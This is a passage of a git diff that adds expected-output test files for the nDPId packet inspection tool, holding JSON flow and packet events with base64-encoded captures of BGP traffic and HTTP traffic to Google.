packet","thread_id":0,"packet_id":13,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156989,"pkt_ts_usec":230918,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"DwAIAEXAACj4mEAAAQa2VGQQAQJkEAEBR5QAs7zqdh4ZWdSNUBA+8z2HAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} diff --git a/test/results/BGP_redist.pcap.out b/test/results/BGP_redist.pcap.out new file mode 100644 index 000000000..a77b491c5 --- /dev/null +++ b/test/results/BGP_redist.pcap.out @@ -0,0 +1,4 @@ +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1256636836,"pkt_ts_usec":167156,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"DwCIRwABLf5FwACbk8xAAP8G2sQCAgICBAQEBACz+C\/VqGxJPJL2UFAYP7QOoQAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/wBzAgAAAFxAAQECQAIAgAQEAAAAVkAFBAAAAGTAECAAAgBkAAAEVwAFAAAAAQIAgAAAAAAAAwCAAawQAgEAAIAOIQABgAwAAAAAAAAAAAICAgIAeAABkQAAAGQAAABkqgAAAA=="} +00163{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","datalink":104} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"BGP_redist.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1256636836,"pkt_ts_usec":167195,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"DwAIAEXAAJv\/w0AA\/gZtywICAgIFBQUFALPBGWeqNFC\/WbBkUBg\/x6y+AAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/AHMCAAAAXEABAQJAAgCABAQAAABWQAUEAAAAZMAQIAACAGQAAARXAAUAAAABAgCAAAAAAAADAIABrBACAQAAgA4hAAGADAAAAAAAAAAAAgICAgB4AAGRAAAAZAAAAGSqAAAA"} +00163{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"BGP_redist.pcap","alias":"nDPId-test","datalink":104} diff --git a/test/results/EAQ.pcap.out b/test/results/EAQ.pcap.out new file mode 100644 index 000000000..8d4716aa3 --- /dev/null +++ b/test/results/EAQ.pcap.out @@ -0,0 +1,491 @@ +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1432820948562,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.48","src_port":53497,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":562939,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8xb9AAEAGRgEKCAABrcJ3MND5AFA4ezYlAAAAAKACOQisdgAAAgQFtAQCCAoABPOaAAAAAAEDAwQ="} +00404{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":566510,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAJAABAGO9OtwncwCggAAQBQ0PnHhMnaOHs2JlAS\/\/+vjAAA"} +00402{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":569287,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoxcBAAEAGRhQKCAABrcJ3MND5AFA4ezYmx4TJ21AQOQh2hQAA"} +00541{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":576642,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"ABoRAAACABoRAAABCABFAACMxcFAAEAGRa8KCAABrcJ3MND5AFA4ezYmx4TJ21AYOQihdAAAR0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IHRlc3QNCkNvbm5lY3Rpb246IGNsb3NlDQpIb3N0OiB3d3cuZ29vZ2xlLmNvbQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQoNCg=="} +00669{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1432820948562,"flow_last_seen":1432820948576,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":20,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.48","src_port":53497,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"11":"HTTP Suspicious User-Agent"},"proto":"HTTP.Google","breed":"Unrated","category":"Web"},"http": {"hostname":"www.google.com","url":"www.google.com\/","code":0,"content_type":"","user_agent":"test"}} +00404{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":576764,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAANAABAGO9KtwncwCggAAQBQ0PnHhMnbOHs2ilAQ\/\/+vKQAA"} +01141{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":665784,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"ABoRAAACABoRAAABCABFAAJMAARAABAGOa2twncwCggAAQBQ0PnHhMnbOHs2ilAQ\/\/+kWAAASFRUUC8xLjEgMzAyIEZvdW5kDQpDYWNoZS1Db250cm9sOiBwcml2YXRlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KTG9jYXRpb246IGh0dHA6Ly93d3cuZ29vZ2xlLmNvbS5ici8\/Z2ZlX3JkPWNyJmVpPTFCeG5WY1A5T0tLazh3ZTUwb0RBQWcNCkNvbnRlbnQtTGVuZ3RoOiAyNjINCkRhdGU6IFRodSwgMjggTWF5IDIwMTUgMTM6NDk6MDggR01UDQpTZXJ2ZXI6IEdGRS8yLjANCkFsdGVybmF0ZS1Qcm90b2NvbDogODA6cXVpYyxwPTANCkNvbm5lY3Rpb246IGNsb3NlDQoNCjxIVE1MPjxIRUFEPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiPgo8VElUTEU+MzAyIE1vdmVkPC9USVRMRT48L0hFQUQ+PEJPRFk+CjxIMT4zMDIgTW92ZWQ8L0gxPgpUaGUgZG9jdW1lbnQgaGFzIG1vdmVkCjxBIEhSRUY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS5ici8\/Z2ZlX3JkPWNyJmFtcDtlaT0xQnhuVmNQOU9LS2s4d2U1MG9EQUFnIj5oZXJlPC9BPi4NCjwvQk9EWT48L0hUTUw+DQo="} +00404{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":716107,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoxcJAAEAGRhIKCAABrcJ3MND5AFA4ezaKx4TL\/1AQO\/BxFQAA"} +00405{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":716290,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAVAABAGO9CtwncwCggAAQBQ0PnHhMv\/OHs2ilAR\/\/+tBAAA"} +00403{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":767743,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoxcNAAEAGRhEKCAABrcJ3MND5AFA4ezaKx4TMAFAUO\/BxEAAA"} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432820948836,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.24","src_port":40467,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":836590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8DwhAAEAG\/NAKCAABrcJ3GJ4TAFBXrfy9AAAAAKACOQj5jgAAAgQFtAQCCAoABPO1AAAAAAEDAwQ="} +00406{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":837811,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAZAABAGO+etwncYCggAAQBQnhOoUgNCV638vlAS\/\/\/iigAA"} +00404{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":844861,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDwlAAEAG\/OMKCAABrcJ3GJ4TAFBXrfy+qFIDQ1AQOQipgwAA"} +00596{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":845685,"pkt_caplen":193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":193,"pkt_l4_len":159,"pkt":"ABoRAAACABoRAAABCABFAACzDwpAAEAG\/FcKCAABrcJ3GJ4TAFBXrfy+qFIDQ1AYOQjjRAAAR0VUIC8\/Z2ZlX3JkPWNyJmVpPTFCeG5WY1A5T0tLazh3ZTUwb0RBQWcgSFRUUC8xLjENClVzZXItQWdlbnQ6IHRlc3QNCkNvbm5lY3Rpb246IGNsb3NlDQpIb3N0OiB3d3cuZ29vZ2xlLmNvbS5icg0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQoNCg=="} +00712{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1432820948836,"flow_last_seen":1432820948845,"flow_tot_l4_data_len":239,"flow_min_l4_data_len":20,"flow_max_l4_data_len":159,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.119.24","src_port":40467,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"11":"HTTP Suspicious User-Agent"},"proto":"HTTP.Google","breed":"Unrated","category":"Web"},"http": {"hostname":"www.google.com.br","url":"www.google.com.br\/?gfe_rd=cr&ei=1BxnVcP9OKKk8we50oDAAg","code":0,"content_type":"","user_agent":"test"}} +00406{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820948,"pkt_ts_usec":845959,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAdAABAGO+atwncYCggAAQBQnhOoUgNDV639SVAQ\/\/\/iAAAA"} +02255{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820949,"pkt_ts_usec":195569,"pkt_caplen":1436,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1436,"pkt_l4_len":1402,"pkt":"ABoRAAACABoRAAABCABFAAWOAAhAABAGNn+twncYCggAAQBQnhOoUgNDV639SVAQ\/\/9SqwAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDI4IE1heSAyMDE1IDEzOjQ5OjA5IEdNVA0KRXhwaXJlczogLTENCkNhY2hlLUNvbnRyb2w6IHByaXZhdGUsIG1heC1hZ2U9MA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9SVNPLTg4NTktMQ0KU2V0LUNvb2tpZTogUFJFRj1JRD1mMzM3M2NkNmQyZTI1YmE1OkZGPTA6VE09MTQzMjgyMDk0OTpMTT0xNDMyODIwOTQ5OlM9T1pqVzc3bG1HX19RNUttcTsgZXhwaXJlcz1TYXQsIDI3LU1heS0yMDE3IDEzOjQ5OjA5IEdNVDsgcGF0aD0vOyBkb21haW49Lmdvb2dsZS5jb20uYnINClNldC1Db29raWU6IE5JRD02Nz1ycWdzX2JoV1NrLXdpYjNZZTV6cTRmOXBLb3JLZ1BiSWtQSkZNTUg1Uld3VzlZa3NrZW0xbE95Wk1Bb1NncFdwSmpRYzJxY1ZxWGMwX2xOOE9PNlp3ZGFjV3NNWUFKUnU3UXZrTmRrdEVTdUlWRjV2X2RWOVZtMEZvY25fRDkxZTsgZXhwaXJlcz1GcmksIDI3LU5vdi0yMDE1IDEzOjQ5OjA5IEdNVDsgcGF0aD0vOyBkb21haW49Lmdvb2dsZS5jb20uYnI7IEh0dHBPbmx5DQpQM1A6IENQPSJUaGlzIGlzIG5vdCBhIFAzUCBwb2xpY3khIFNlZSBodHRwOi8vd3d3Lmdvb2dsZS5jb20vc3VwcG9ydC9hY2NvdW50cy9iaW4vYW5zd2VyLnB5P2hsPWVuJmFuc3dlcj0xNTE2NTcgZm9yIG1vcmUgaW5mby4iDQpTZXJ2ZXI6IGd3cw0KWC1YU1MtUHJvdGVjdGlvbjogMTsgbW9kZT1ibG9jaw0KWC1GcmFtZS1PcHRpb25zOiBTQU1FT1JJR0lODQpBbHRlcm5hdGUtUHJvdG9jb2w6IDgwOnF1aWMscD0wDQpBY2NlcHQtUmFuZ2VzOiBub25lDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjwhZG9jdHlwZSBodG1sPjxodG1sIGl0ZW1zY29wZT0iIiBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvV2ViUGFnZSIgbGFuZz0icHQiPjxoZWFkPjxtZXRhIGNvbnRlbnQ9Ii9pbWFnZXMvZ29vZ2xlX2Zhdmljb25fMTI4LnBuZyIgaXRlbXByb3A9ImltYWdlIj48dGl0bGU+R29vZ2xlPC90aXRsZT48c2NyaXB0PihmdW5jdGlvbigpe3dpbmRvdy5nb29nbGU9e2tFSTonMVJ4blZjR1NFb3piZ2dTS2w0Qm8nLGtFWFBJOicxODE2NywzNzAwMjQ1LDQwMDM1MTAsNDAyNjExMCw0MDI4ODc1LDQwMjk1NjgsNDAyOTgxNSw0MDMwMTI1LDQwMzI1MDAsNDAzMjUyMSw0MDMyNjMxLDQwMzI2NDMsNDAzMjY0NSw0MDMyNjc4LDQwMzMxODMsNDAzMzMwNyw0MDMzMzQ0LDQwMzQyNzAsNDAzNDMyMyw0MDM0NDI1LDQwMzQ4ODQsNDAzNTgxNiw0MDM2MTQ5LDQwMzYxNTgsNDAzNjE2NCw0MDM2NDg1LDQwMzY1MzEsNDAzNjUzOSw0MDM2NjY1LDQwMzY4NDgsNDAzNzQ1Nyw0MDM3NTMxLDgzMDAxNzUsODUwMDM5NCw4NTAxMjQ4LDg1MDEyOTUsODUwMTMzNiw4NTAxMzUxLDg="} +00404{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820949,"pkt_ts_usec":246075,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDwtAAEAG\/OEKCAABrcJ3GJ4TAFBXrf1JqFIIqVAQQMib0gAA"} +04100{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820949,"pkt_ts_usec":246380,"pkt_caplen":2818,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2818,"pkt_l4_len":2784,"pkt":"ABoRAAACABoRAAABCABFAAr0AAlAABAGMRitwncYCggAAQBQnhOoUgipV639SVAQ\/\/\/8qQAANTAxNDA3LDg1MDE0ODksODUwMTQ5OCwxMDIwMDA4NCwxMDIwMDgzNSwxMDIwMTA5MCwxMDIwMTE4MSwxMDIwMTE5MSwxMDIwMTIxNycsYXV0aHVzZXI6MCxrU0lEOidjOWM5MThmMF8xMCd9O2dvb2dsZS5rSEw9J3B0Jzt9KSgpOyhmdW5jdGlvbigpe2dvb2dsZS5sYz1bXTtnb29nbGUubGk9MDtnb29nbGUuZ2V0RUk9ZnVuY3Rpb24oYSl7Zm9yKHZhciBiO2EmJighYS5nZXRBdHRyaWJ1dGV8fCEoYj1hLmdldEF0dHJpYnV0ZSgiZWlkIikpKTspYT1hLnBhcmVudE5vZGU7cmV0dXJuIGJ8fGdvb2dsZS5rRUl9O2dvb2dsZS5nZXRMRUk9ZnVuY3Rpb24oYSl7Zm9yKHZhciBiPW51bGw7YSYmKCFhLmdldEF0dHJpYnV0ZXx8IShiPWEuZ2V0QXR0cmlidXRlKCJsZWlkIikpKTspYT1hLnBhcmVudE5vZGU7cmV0dXJuIGJ9O2dvb2dsZS5odHRwcz1mdW5jdGlvbigpe3JldHVybiJodHRwczoiPT13aW5kb3cubG9jYXRpb24ucHJvdG9jb2x9O2dvb2dsZS5tbD1mdW5jdGlvbigpe307Z29vZ2xlLnRpbWU9ZnVuY3Rpb24oKXtyZXR1cm4obmV3IERhdGUpLmdldFRpbWUoKX07Z29vZ2xlLmxvZz1mdW5jdGlvbihhLGIsZSxmLGwpe3ZhciBkPW5ldyBJbWFnZSxoPWdvb2dsZS5sYyxnPWdvb2dsZS5saSxjPSIiLG09Z29vZ2xlLmxzfHwiIjtkLm9uZXJyb3I9ZC5vbmxvYWQ9ZC5vbmFib3J0PWZ1bmN0aW9uKCl7ZGVsZXRlIGhbZ119O2hbZ109ZDtpZighZSYmLTE9PWIuc2VhcmNoKCImZWk9Iikpe3ZhciBrPWdvb2dsZS5nZXRFSShmKSxjPSImZWk9IitrOy0xPT1iLnNlYXJjaCgiJmxlaT0iKSYmKChmPWdvb2dsZS5nZXRMRUkoZikpP2MrPSImbGVpPSIrZjprIT1nb29nbGUua0VJJiYoYys9IiZsZWk9Iitnb29nbGUua0VJKSl9YT1lfHwiLyIrKGx8fCJnZW5fMjA0IikrIj9hdHlwPWkmY3Q9IithKyImY2FkPSIrYitjK20rIiZ6eD0iK2dvb2dsZS50aW1lKCk7L15odHRwOi9pLnRlc3QoYSkmJmdvb2dsZS5odHRwcygpPyhnb29nbGUubWwoRXJyb3IoImEiKSwhMSx7c3JjOmEsZ2xtbToxfSksZGVsZXRlIGhbZ10pOih3aW5kb3cuZ29vZ2xlJiZ3aW5kb3cuZ29vZ2xlLnZlbCYmCndpbmRvdy5nb29nbGUudmVsLmx1JiZ3aW5kb3cuZ29vZ2xlLnZlbC5sdShhKSxkLnNyYz1hLGdvb2dsZS5saT1nKzEpfTtnb29nbGUueT17fTtnb29nbGUueD1mdW5jdGlvbihhLGIpe2dvb2dsZS55W2EuaWRdPVthLGJdO3JldHVybiExfTtnb29nbGUubG9hZD1mdW5jdGlvbihhLGIsZSl7Z29vZ2xlLngoe2lkOmErbisrfSxmdW5jdGlvbigpe2dvb2dsZS5sb2FkKGEsYixlKX0pfTt2YXIgbj0wO30pKCk7Z29vZ2xlLmtDU0k9e307dmFyIF9nandsPWxvY2F0aW9uO2Z1bmN0aW9uIF9nanVjKCl7dmFyIGE9X2dqd2wuaHJlZi5pbmRleE9mKCIjIik7aWYoMDw9YSYmKGE9X2dqd2wuaHJlZi5zdWJzdHJpbmcoYSksMDxhLmluZGV4T2YoIiZxPSIpfHwwPD1hLmluZGV4T2YoIiNxPSIpKSYmKGE9YS5zdWJzdHJpbmcoMSksLTE9PWEuaW5kZXhPZigiIyIpKSl7Zm9yKHZhciBkPTA7ZDxhLmxlbmd0aDspe3ZhciBiPWQ7IiYiPT1hLmNoYXJBdChiKSYmKytiO3ZhciBjPWEuaW5kZXhPZigiJiIsYik7LTE9PWMmJihjPWEubGVuZ3RoKTtiPWEuc3Vic3RyaW5nKGIsYyk7aWYoMD09Yi5pbmRleE9mKCJmcD0iKSlhPWEuc3Vic3RyaW5nKDAsZCkrYS5zdWJzdHJpbmcoYyxhLmxlbmd0aCksYz1kO2Vsc2UgaWYoImNhZD1oIj09YilyZXR1cm4gMDtkPWN9X2dqd2wuaHJlZj0iL3NlYXJjaD8iK2ErIiZjYWQ9aCI7cmV0dXJuIDF9cmV0dXJuIDB9CmZ1bmN0aW9uIF9namgoKXshX2dqdWMoKSYmd2luZG93Lmdvb2dsZSYmZ29vZ2xlLngmJmdvb2dsZS54KHtpZDoiR0pIIn0sZnVuY3Rpb24oKXtnb29nbGUubmF2JiZnb29nbGUubmF2LmdqaCYmZ29vZ2xlLm5hdi5namgoKX0pfTt3aW5kb3cuX2dqaCYmX2dqaCgpOzwvc2NyaXB0PjxzdHlsZT4jZ2JhciwjZ3VzZXJ7Zm9udC1zaXplOjEzcHg7cGFkZGluZy10b3A6MXB4ICFpbXBvcnRhbnQ7fSNnYmFye2hlaWdodDoyMnB4fSNndXNlcntwYWRkaW5nLWJvdHRvbTo3cHggIWltcG9ydGFudDt0ZXh0LWFsaWduOnJpZ2h0fS5nYmgsLmdiZHtib3JkZXItdG9wOjFweCBzb2xpZCAjYzlkN2YxO2ZvbnQtc2l6ZToxcHh9LmdiaHtoZWlnaHQ6MDtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MjRweDt3aWR0aDoxMDAlfUBtZWRpYSBhbGx7LmdiMXtoZWlnaHQ6MjJweDttYXJnaW4tcmlnaHQ6LjVlbTt2ZXJ0aWNhbC1hbGlnbjp0b3B9I2diYXJ7ZmxvYXQ6bGVmdH19YS5nYjEsYS5nYjR7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZSAhaW1wb3J0YW50fWEuZ2IxLGEuZ2I0e2NvbG9yOiMwMGMgIWltcG9ydGFudH0uZ2JpIC5nYjR7Y29sb3I6I2RkOGUyNyAhaW1wb3J0YW50fS5nYmYgLmdiNHtjb2xvcjojOTAwICFpbXBvcnRhbnR9PC9zdHlsZT48c3R5bGU+Ym9keSx0ZCxhLHAsLmh7Zm9udC1mYW1pbHk6YXJpYWwsc2Fucy1zZXJpZn1ib2R5e21hcmdpbjowO292ZXJmbG93LXk6c2Nyb2xsfSNnb2d7cGFkZGluZzozcHggOHB4IDB9dGR7bGluZS1oZWlnaHQ6LjhlbX0uZ2FjX20gdGR7bGluZS1oZWlnaHQ6MTdweH1mb3Jte21hcmdpbi1ib3R0b206MjBweH0uaHtjb2xvcjojMzZjfS5xe2NvbG9yOiMwMGN9LnRzIHRke3BhZGRpbmc6MH0udHN7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfWVte2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zdHlsZTpub3JtYWx9LmxzdHtoZWlnaHQ6MjVweDt3aWR0aDo0OTZweH0uZ3NmaSwubHN0e2ZvbnQ6MThweCBhcmlhbCxzYW5zLXNlcmlmfS5nc2Zze2ZvbnQ6MQ=="} +00404{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820949,"pkt_ts_usec":296673,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDwxAAEAG\/OAKCAABrcJ3GJ4TAFBXrf1JqFITdVAQVmB7bgAA"} +04103{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820949,"pkt_ts_usec":296948,"pkt_caplen":2818,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2818,"pkt_l4_len":2784,"pkt":"ABoRAAACABoRAAABCABFAAr0AApAABAGMRetwncYCggAAQBQnhOoUhN1V639SVAQ\/\/\/0zAAAN3B4IGFyaWFsLHNhbnMtc2VyaWZ9LmRze2Rpc3BsYXk6aW5saW5lLWJveDtkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW46M3B4IDAgNHB4O21hcmdpbi1sZWZ0OjRweH1pbnB1dHtmb250LWZhbWlseTppbmhlcml0fWEuZ2IxLGEuZ2IyLGEuZ2IzLGEuZ2I0e2NvbG9yOiMxMWMgIWltcG9ydGFudH1ib2R5e2JhY2tncm91bmQ6I2ZmZjtjb2xvcjpibGFja31he2NvbG9yOiMxMWM7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3ZlcixhOmFjdGl2ZXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfS5mbCBhe2NvbG9yOiMzNmN9YTp2aXNpdGVke2NvbG9yOiM1NTFhOGJ9YS5nYjEsYS5nYjR7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX1hLmdiMzpob3Zlcnt0ZXh0LWRlY29yYXRpb246bm9uZX0jZ2hlYWQgYS